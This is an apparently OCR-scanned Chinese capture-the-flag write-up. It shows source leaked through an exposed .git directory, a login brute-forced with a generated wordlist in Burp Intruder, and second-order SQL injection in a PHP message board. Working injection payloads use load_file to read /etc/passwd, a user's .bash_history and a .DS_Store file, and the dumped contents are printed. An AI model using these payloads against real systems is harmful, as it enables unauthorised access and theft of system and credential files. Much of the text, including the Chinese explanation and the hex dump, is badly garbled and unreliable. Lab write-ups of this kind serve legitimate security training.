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$ python GitHack.py http

[+] Download and parse index file
write_do.php

[0K] write_do.php

$1

D.249.52.133:52944/ .git/

HIA R
2 Flwrite_do.php

include "mysql.php"

session_start

if 'login'] != 'yes'
header("Location: ./login.php"
die

if(isset ‘do’

switch 'do’

case ‘'write'
break
case ‘comment'’
break
default
header("Location: ./index.php"

else
header("Location: ./index.php"

XA
KR E LG R?



(5] 2| J7 51
Bl R A A
B4 B R 57 TH

KaliTools = Kali Docs Kali Forums NetHunter 1 Offensive Security Exploit-DB GHDB |

Sign in

https://blog.csdn.net/v in_44604541
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import os
password="zhangwei"
passwordl=| |
for i in range(100,1000):
passwordl.append(password+str(i))
with open ("./comment_password.txt","w") as f:
for i in passwordl:
f.write(i)
f.write("\n")
print("finsh")
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Attack Save Columns

Results | Target | Positions | Payloads | options |
| Filter: Showing all items &
Request | Position | Payload |Status v | Error | Timeout | Length | Comment
1 2367 3 ZhangweiBGi6 302 (B [ ] 2036 E
4] 200 L o 2087
1 1 zhangweil00 200 LJ o 2087
2 1 zhangwei101 200 O [ 2087
3 1 zhangwei102 200 O (] 2087
4 1 zhangweil03 200 O O 2087
5 1 zhangweil04 200 (B o 2087




6 1 zhangweil05 200 L uJ 2087
7 1 zhangweil06 200 J (] 2087
 IF 1 zhangwei107 200 O [ 2087 ¥
Request i Respnnsew
j Raw T Params T Headers i Hex I
FOOT [ logan.php HITP 1.1 a
Beoat: 130.349.53.133:52944
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-] Cont ent -Lengkh: 37
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https://www.cnblogs.com/Tkitn/p/11648456.html

<?php
include "mysql.php";
session_start();

if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();

}

if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category’,
title = '$title’,
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($ _POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);

$sql = "insert into comment
set category = '$category’,
content = '$content’,

bo_id = '$bo_id'";
$result = mysql_query($sql);
¥

header("Location: ./comment.php?id=$bo_id");

break;
default:

header("Location: ./index.php");
}
}
else{

header("Location: ./index.php");
?>

T AE B EE R addslashes
¥ itaddslashes

o FENMNNSEGEN addslashes () X FE CERFREATH L, b\
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https://bbs.ichunqiu.com/thread-10899-1-1.html

o wiitelIRHE TR S8 AT T 8 A iR Elsqlif &
o {HRFEcomment s, Xf T categoryHIE MEHE B HUE RE A #EATH 3, BHEHHESIsql insertii A+
o XHAEANIET
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o X—itfEpayloadE AN G| SEET # L, ~apiik
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payload

1',content=database(),/*

b4 1
TITLE inject
CATEGORY 1" content=database(),/*
CONTENT payload
23
RZJGHEE FLLHN */#
Fx payload
=N ctf
RYEN
wiz3E
R[] T #HE AR
ENBT)

B6IE T HEEE, BERS

1',content=user(),/*



s payload

BN root@|ocalhost

RYEN

JEWIAEE T, roottl R
EEH load file T

SR ARG H P AP #E /etc/passwd

1',content=(select(load file("/etc/passwd"))),/*

BN rootx:0c:root/rooty/bin/bash daemon:1:1:daemonz/usr/sbinyusr/sbin/nologin binme2:2:bin:/bin:usr/sbin
Inologin sysx:3:3:sys/devifusr/sbinfnologin syncax:4:65534:sync/bin:/binfsync gamesx:S:60;games:/usr

fgames:fusrisbin/nologin man:x:6:12:manvar/cache/manyusr/sbin/nologin lpac7:7lpsvar/spoolflpdusr
fshinfnologin mailx:g:&mailvar/mail/usrisbin/nologin newsx:x:newssvar/spool/news:usr/sbin/nologin
uucp: 101 uucpyivar/spool/uucpusrisbin/nologin proxy:x:13:13:proxybinusrisbin/nologin www-
datan:33:33www-datasvariwww/usr/sbin/nologin backup:ae3d:34:backupvarrbackups:/usr/sbin/nologin
listoe:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:3%:ircd:Avar/run/fircd=fusr/sbin/nologin
gnatsnc41:41:Gnats Bug-Reporting System (admin)zvar/lib/gnats:fusr/sbin/nologin
nobody:x:65534:65534:nobodyrnonexistentyusr/shin/nologin libuuid 2100101 2var/ib/libuuid:
syslogx:101:104:/homessyslog:/bin/false mysqlx:102:105:MySQL Server,, Jvardib/mysqgl/bin/false

winwsx: S00:500wwwhomefwwwi/bind/bash
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.bash_history ¥ ]

(1 FETHIPREHS ; [ —4~.bash_historyz{
3 TR i VA 110004

/.bash_history
JECHRE D

1',content=(select (load_file('/home/www/.bash_history'))),/*



= cd /tmpd unzip htmlzip rm -f html.zip cp -r html Avarfwwawy od Avarfwww/htmld rm -f.DS_Store service apache2
start

AUEE

SefEtmp B F FMRIEES S htmlzip, BEHA —4 .DS_Store 3
AR5 I B 4

FB¥html B % 2 %) 2 variwww/ B T

Pl# B variwww/html, SR JEMIBE .DS_Store

B2 H 8 M tmp/html B 3 T .DS_Store

BIT

e .DS_Store(¥ X4k Desktop Services Store) & —Fh H13E A A fIMac OS X#/E R 2t BT 613 1 B s L 14
o HMAETHEHRMEE BN, FlustHMERM BsE Y REarnEE
e i@it.DS_Store ] LLAIEIXA B F B HFTA XHHIE#.

TP EERELIEI .0S_Store ¥

1', content=(select (load_file('/tmp/html/.DS_Store'))),/*
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1', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
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00000001427564310000100000000800000010000000040AB00000VCAVVVVBBAVVVVBRAVVVVBRRVYVYBRRVVVYBAVVEYBAVVVERBRVVVVRBA
0000000000000000000000000VVBRVV20000000VVBAVVVVBRRVVVVA10000100000730074007200610070496C0BAVVVVVBRVVVVLBAVVVVLRAA
000000000000000000000000VVVBRVVVVYBRVVVVYBAVVYVYBAVVYVRBAVVVYRBAVVVYBRAVVYBRAVYVYBRRVVVYBANVVVLBAVVVVRBAVVVVRBA
000000000000000000000000VVVBRVVVVYBRVVVVYBAVVYVYBAVVYVRBAVVVYRRAVVVVBRAVVVYBRRVYVYERRVVVYBRNVVVLBRRVVRBRRVVRAA
000000000000000000000000VVVBRVVVVYBRVVVVYBAVVVVYBAVVYVRBAVVVYRRAVVVYBRAVVVYBRAVYVYBRRVVVYBANVVVLBRRVVVRBRRVVRAA
0000000000000000000000VVVVVRRVVVVYBRVVVVYBAVVVVRBAVVVVRBAVVVYBRAVVVYBRRVVVYBRAVYYBRRVVVYBARVVVLBRRVVVRBRRVVRAA
0000000000000000000000000VVBRVVVVVBRVVVVYBAVVVVRBAVVYVRBAVVVYBRAVVVVRRRVVVYBARVVVYBRRVVVYBARVVVLBRRVVVRBARVVRBA
0000000000000000000000000VVBRVVVVVBRVVVVYBAVVVVRBAVVYVRBAVVVYRRAVVVYBRRVVVYERRVYYBRRVVVYBARVVVYBARVVVRBRRVVRBA
000000000000000000000000VVVBRVVVVVBRVVVVYBAVVVVYBAVVYVEBAVVVYRRAVVVVRRRVVYBRRVYYBRRVVVYBARVVVLERRVVVLBARVVRAA
00000000000000000000000VVVVRRVVVVYBRVVVVYBAVVVVYBAVVYVEBAVVVYRRAVVVVBRRVVVYERAVYYBRRVYVYBRRVVVLERRVVVLBRRVVRAA
00000000000000000000000VVVVRRVVVVYBRVVVVYBAVVVVYBAVVYVLBAVVVYEBAVVVVBRRVVVERRVYVYERRVVVYBRRVVVLBRRVVVLERRVVLA
00000000000000000000000VVVVRRVVVVVBRVVVVYBRVVVVYBAVVYYLBAVVVYERAVVVVBRRVVVYERRVYVVERRVVVYBRRVVVLBRRVVVLBRRVVRBA
00000000000000000000000VVVVORVVVVYBRVVVVYBAVVVVLBAVVYYRBAVVVYERAVVVVBRRVVVYERRVYVERRVVVYBARVVVLBRRVVVRBRRVVLAA
00000000000000000000000VVVVRRVVVVVBRVVVVYBRVVVVLBAVVVVLBAVVYBRRVVVYERRVVYBRRVYVVBRRVVVLBRRVVLBRRVVVLERRVVLRA
00000000000000000000000VVVVORVVVVVBRVVVVVBAVVVVLBAVVYVEBAVVYYRRAVVVYBRRVVYBRRVVVERRRVVLBRAVVVLBRRVVVRERRVVLA
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000



000000000000000000000000000000000VBRVVVVVBRVVVVVBAVVVVBBAVVYBBAVVVVBBNVVVVBBNVVVBRNVVVVBRVVVVBBRVVVVBBRVVVVBBA
000000000000000000000000000000000000000000VVVVVVVVVVVVVBYVVVVVVSVV62006FVVEFVV7400730074007200610070496C6F63626C
6F62000000100000004600000028FFFFFFFFFFFF00000000000B0063006F006D006DBB65006E0074002E007000680070496C6F63626C6F62
00000010000000CCO000VV280000000O1FFFF000000000003006300730073496C6F63626C6F62000000100000015200000028FFFFFFFFFFFF
00000000001950066006C00610067005F0038003900340036006500310066006600310065006500330065003400300066002E007000680070
496C6F63626C6F6200000010000001D80VVVVV28FFFFFFFFFFFFO000000000050066006F006E00740073496C6F63626C6F62000000100000
004600000098FFFFFFFFFFFF0000000000090069006E006400650078002E007000680070496C6F63626C6F6200000010000000CC00000098
00000002FFFF000000000002006A0073496C6F63626C6F62000000100000015200000098FFFFFFFFFFFF000000000009006C006F00670069
OO6E002E007000680070496C6F63626C6F6200000010000001D800000O98FFFFFFFFFFFFO00000000009006D007900730071006C002EQ070
00680070496C6F63626C6F62000000100000004600000108FFFFFFFFFFFF00000000000600760065006E0064006F0072496C6F63626C6F62
00000010000000CCOVVCV108FFFFFFFFFFFF00000000000C00770072006900740065005F0064006F002E007000680070496C6F63626C6F62
000000100000015200000108FFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000VVBRVVVVVBAVVVVVBAVVVVVBAVVVYVBAVVVYBBAVVVYBRAVYVVBRAVVVVBRNVVVBBRRVVVBBRRVVVBBA
00000000000000000000000000000VVVVVBBVVVVVBAVVVVVBAVVVVVBAVNVYBBAVVVYBBAVVVYBBAVVVVBRAVVVVBRVVVVVBARVVVBBRRVVVBBA
000000000000000000000000000000000VBBVVVVVBRVVVVVBAVVVVVBAVVVYBBAVVVYBBAVVVYBRAVYVVBRAVVVYBRNVVVBBARVVVBBRRVVVRBA
000000000000000000000000000BBVVVVVBRVVVVVBAVVVVVBAVVVVBBAVNVYBBAVVVYBBAVVVYBRAVYVVBRAVVVVBANVVVVBANVVVBBRRVVVBBA
00000000000000000000000000000V0VVVBRVVVVVBAVVVVVBAVVVVBBAVVVYBBAVVVYBBAVVVYBBAVVVYBRAVVVYBANVVVLBRRVVVBBRRVVVBBA
0000000000000000000000000000BVVVVVBRVVVVVBAVVVVVBAVVVVVBAVNVYBBAVVVYBRAVVVYBBAVYVYBRAVVVVBRNVVVLBRRVVVBBRRVVVBBA
0000000000000000000000000000000VVVBBVVVVVBRVVVVVBAVVVVBBAVVVYBBAVVVYBRAVVVYBRAVVVVBRAVVVYBRNVVVLBRRVVVBBRRVVVBBA
0000000000000000000000000000BV0VVVBRVVVVVBAVVYVVBAVVYVBBAVVVYBBAVVVYRRAVVVYBRAV10000A0VVVBRVOE8OBERVVVVVBRVVVVBBA
00000000000000000000000000000V0VVVBRVVVVVBAVVYVVBAVVVVVBAVVVYBBAVVVYBBAVVVYBRAVYVYBRAVVVYBANVVVYBRVVVVBBRVVVVBAA
00000000000000000000000000000VVVVVBRVVVVYBAVVVVBBAVVYVBBAVVVYBBAVVVYBBAVVVYBRAVVVYBRAVVVYBANVVVLBRVVVVBBRVVVVBBA
0000000000000000000000000000BVVVVVBRVVVVYBAVVYVYBAVVYVBBAVVVYBBAVVVYBBAVVVYBRAVVVYBRAVVVYBANVVVLBRVVVVBBRVVVVBBA
0000000000000000000000000000000VVVBRVVVVYBAVVVVBBAVVVVRBAVVVYBBAVVVYBBAVVVYBRAVYVYBRAVVVYBANVVVLBAVVVVRBRRVVVBBA
00000000000000000000000000000V0VVVBRVVVVYBAVVVVBBAVVYVBBAVVVYBBAVVVYBRAVVVYBRAVYVYBAAVVVYBANVVVLBAVVVVRBRVVVVBBA
0000000000000000000000000000BVVVVVBRVVVVYBAVVYVBBAVVVVBBAVVVYBBAVVVYBRAVVVYBRAVVVYBRAVVVYBANVVVLBRVVVVRBRVVVVBBA
000000000000000000000000000BBVVVVYBRVVYVYBAVVYVBBAVVYVBBAVVVYBBAVVVYBRAVVVYBRAVYVYBRAVVVYBANVVVLBRVVVVRBRVVVVBBA
000000000000000000000000000BBVVVVVBRVVYVYBAVVYVRBAVVYVBBAVVVYBBAVVVYBBAVVVYBAAVYVYBRAVVVYBANVVVYBRVVVVRBRRVVVBBA
0000000000000000000000000000BVVVVVBRVVVVYBAVVVVYBAVVVVBBAVVYYBBAVVVYBRAVVVYBRAVVVYBAAVVVYBANVVVLBRVVVVRBRVVVVRABA
000000000000000000000000000BBVVVVYBRVVYVYBAVVYVRBAVVYVBBAVVYYBBAVVVYBRAVVVYBRAVYVYBRAVVVYBANVVVLBAVVVVRBRVVVVBBA
000000000000000000000000000BBVVVVYBRVVVVYBAVVVVYBAVVYYBBAVVVYBBAVVVYBRAVVVYBRAVYVYBAAVVVYBANVVVYBRVVVVRBRVVVVRBA
00000000000000000000000000VBBVVVVYBRVVVVYBAVVYVYBAVVYVRBAVVVYBBAVVVYBRAVVVYBRAVVVYBAAVVVYBANVVVLBAVVVVLBRVVVVRBA
0000000000000000000000000000VVVVVBRVVVVYBAVVVVBBAVVYVRBAVVYYBBAVVVYBRAVVVYBRAVYVYBRAVVVYBANVVVLBAVVVVLBRVVVVRBA
000000000000000000000000000BBVVVVYBRVVVVYBAVVVVRBAVVYVRBAVVVYBRAVVVYBRAVVVYBRAVVVYBAAVVVYBANVVVLBAVVVVLBAVVVVLRBA
00000000000000000000000000VBRVVVVYBRVVVVYBAVVYVRBAVVYVRBAVVVYBBAVVVYBRAVVVYBRAVYVYBAAVVVYBANVVVLBAVVVVRBRVVVVRBA
000000000000000000000000000BCVVVVYBRVVVVYBAVVVVRBAVVYVRBAVVVYBBAVVVYBRAVVVYBAAVYVYBRAVVVYBANVVVLBRVVVVRBRVVVVRBA
00000000000000000000000000VBRVVVVYBRVVVVYBAVVVVRBAVVYYRBAVVVYBBAVVVYBRAVVVYEBAAVVVYBRAVVVYBANVVVRBAVVVVLBRVVVVLRBA
000000000000000000000000000BRVVVVYBRVVVVYBAVVVVRBAVVYYRBAVVVYBRAVVVYBRAVVVYEBAAVYVYBRAVVVYBANVVVRBRVVVVRBRVVVVLBA
00000000000000000000000000VBRVVVVYRRVVVVYBAVVVVRBAVVVVBRAVVVYBA100000A200000000100000040000000010000008000000001
0000010000000001000002000000000100000400000000000000000100001000000000010000200000000001000040000000000100008000
0000000100010000000000010002000000000001000400000000000100080000000000010010000000000001002000000000000100400000
0000000100800000000000010100000000000001020000000000000104000000000000010800000000000001100000000000000120000000
0000000140000000000000000000000VVVBRVVVVYBAVVVVRBAVVYVRBAVVVYBBAVVVYBRAVVVYERAVYVYERAVVVYBANVVVLBAVVVVRBRVVVVLRBA
000000000000000000000000VVVBRVVVVYBRVVVVYBAVVVVRBAVVYVRBAVVVYBRAVVVYBRAVVVYBRAVYYBRRVVVYBANVVVYBAVVVVRBAVVVVLRBA
00000000000000000000000VVVVRRVVVVYBRVVVVYBAVVVVYBAVVVVRBAVVVYRBAVVVVBRAVVVYEBRAVYYBRAVVVYBANVVVLBAVVVVRBRVVVVRBA
00000000000000000000000VVVVBRVVVVVBRVVVVYBAVVVVYBAVVYVRBAVVVYBRAVVVYBRRVVVYERRVYYBRRVVVYBRNVVVLBRRVVVLBRVVVVRAA
0000000000000000000000000VVBRVVVVYBRVVVVYBAVVYVRBAVVYVRBAVVVYBBAVVVYBRRVVYEBRAVYYBRRVVVYBRVVVVLBARVVVRBRRVVRBA
00000000000000000000000VVVVBRVVVVYBRVVVVYBAVVVVRBAVVYVRBAVVVYRBAVVVYBRRVVYBRRVYVYBRRVVVYBARVVVRBRRVVVRBRRVVVRBA
000000000000000000000000VVVBRVVVVYBRVVVVYBAVVYVYBAVVYVRBAVVVYBBAVVVYBRRVVYERRVYYBRRVVVYBARVVVLBARVVVRBARVVRBA
000000000000000000000000VVVBRVVVVVBRVVVVYBAVVVVYBAVVYVRBAVVVYERAVVVVBRRVVYERAVYYBRRVVVYBARVVVLBRRVVVRBRRVVRBA
000000000000000000000000VVVRRVVVVVBRVVVVYBAVVVVYBAVVYVRBAVVYERAVVVVBRRVVYBRRVYYBRRVVVYBRRVVVLBARVVYLRRRVVRBA
00000000000000000000000VVVVRRVVVVYBRVVVVYBAVVVVYBAVVYVEBAVVVYBRAVVVVRRRVVVYBRAVYYBRAVVVYBRRVVVLERRVVVLBRRVVRBA
0000000000000000000000VVVVVRRVVVVYBRVVVVLBAVVVVYBAVVYVEBAVVVYEBAVVVVBRRVVVYERRVYVERRVYVYBRRVVVLERRVVVLBRRVVLAA
00000000000000000000000VVVVBRVVVVYBRVVVVYBAVVVVYBAVVYVRBAVVVYERAVVVVBRAVVVYERRVYVVERRVVVYBRRVVVLERRVVVLBRRVVLA
000000000000000000000000VVVORVVVVVBRVVVVYBAVVVVYBAVVYVEBAVVYYERRVVVYRRRVVVYBRRVYYBRRVVVYBRRVVLBRRVVVLERRVVLA
00000000000000000000000VVVVRRVVVVYBRVVVVYBAVVVVLBAVVYVLBAVVYBRAVVVYRRRVVVERRVYVBRRVVVYBARVVVLEARVVVRBRRVVRAA
0000000000000000000000000VVRVV3000000000000100BBAVVVVA50000040A000000VVVVVBRRVVVVBRRVVVVBRRVVVLBRRVVVLERRVVLAA
00000000000000000000000VVVVBRVVVVVBRVVVVVBRVVVVLBRVVYVBBAVVVYRRRVVVVBRRRVYERRVVYERRVVVYBRRVVVLERRVVVLRRRVVLA
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000



0000000000000000000000000000000000B0VVVVVBRVVVVVBAVVVVVBAVVVYBBAVVVVBBNVVVBRNVVVVBRRVVVBRVVVVBBRVVVVBBRVVVVBBA
0000000000000000000000000000000000BVVVVVBRVVVVBBAVVVVBBAVNVYBBAVVVVBBNVVVVBBNVVVBRNVVVVBRNVVVBBRVVVVBBRVVVVBBA
000000000000000000000000000000000VBVVVVVBRVVVVVBAVVVVVBAVVVYBBAVYVVBRNVVVVBRNVVVVBRNVVVVBRNVVVBBRRVVVBBRVVVVBBA
0000000000000000000000000000000000B0V0VVVBRVVVVVBAVVVVBBAVNVYBBAVVVVBBNVVVVBBAVVVVBRNVVVVBRNVVVBBRRVVVBBRVVVVBBA
000000000000000000000000000000000VBVVVVVBRVVVVVBAVVVVVBAVNVYBBAVVVYBBNVVVVBBNVYVVBRAVVVYBRVVVVBBRRVVVBBRVVVVBBA
000000000000000000000000000000000VBRVVVVVBAVVVVVBAVVVVVBAVVVYBBAVYVYBBNVVVYBBNVYVVBRAVVVVBRNVVVBBRRVVVBBRVVVVBBA
000000000000000000000000000000000VBBVVVVVBRVVVVVBAVVVVVBAVVVYBBAVVVYBBNVVVYBBAVVVVBRAVVVVBRVVVVBBRVVVVBBRVVVVBBA
00000000000000000000000000000V0VVVBRVVVVVBAVVVVVBAVVVVBBAVVVYVBAVVVYBBNVVVYBBAVVVVBRNVVVVBRVVVVBBAVVVVBBRVVVVBBA
000000000000000000000000000000000VBRVVVVVBRVVVVVBAVVVVVBAVVVYBBAVVVYBBNVVVYBBAVVVVBRAVVVVBRNVVVVBRRVVVBBRVVVVBBA
000000000000000000000000000000000VBRVVVVVBRVVVVVBAVVVVVBAVVVYBBAVVVYBBNVVVYBRNVVVVBRAVVVVBRNVVVVBRRVVVBBRVVVVBBA
0000000000000000000000000000000VVVBRVVVVVBAVVVVVBAVVVVBBAVVVYVBAVVVYBBAVVVYBRAVVVVBRAVVVVBRNVVVBBRRVVVBBRRVVVBBA
00000000000000000000000000000V0VVVBRVVVVVBAVVVVVBAVVVVVBAVVYYBBAVVVVBRNVVVYBBAVYVVBRAVVVVBRNVVVBBRRVVVBBRRVVVBBA
0000000000000000000000000000000VVVBRVVVVVBRVVVVVBAVVVVVBAVVVYVBAVVVYBBNVVVYBBAVYVVBRAVVVVBRNVVVVBRRVVVBBRRVVVBBA
00000000000000000000000000000V0VVVBRVVVVVBAVVVVVBAVVVVBBAVVVYBBAVVVYBBAVVVYBBAVVVVBRAVVVYBRNVVVVBRRVVVBBRRVVVBBA
000000000000000000000000000BBVVVVVBRVVVVVBAVVVVVBAVVYVVBAVVVYBBAVVVYBBAVVVYBRAVYVVBRAVVVYBRNVVVVBARVVVBBRRVVVBBA
00000000000000000000000000000VVVVVBRVVVVVBAVVVVVBAVVVVVBAVVVYVBAVVVVBRNVVVVRRRV104445344420000000100000000000000
0000000000000000000000000000000002000000200000006000000000000000010000008000000001000001000000000100000200000000
00000000020000080000001800000000000000000100002000000000010000400000000001000080000000000100010000000000010002600
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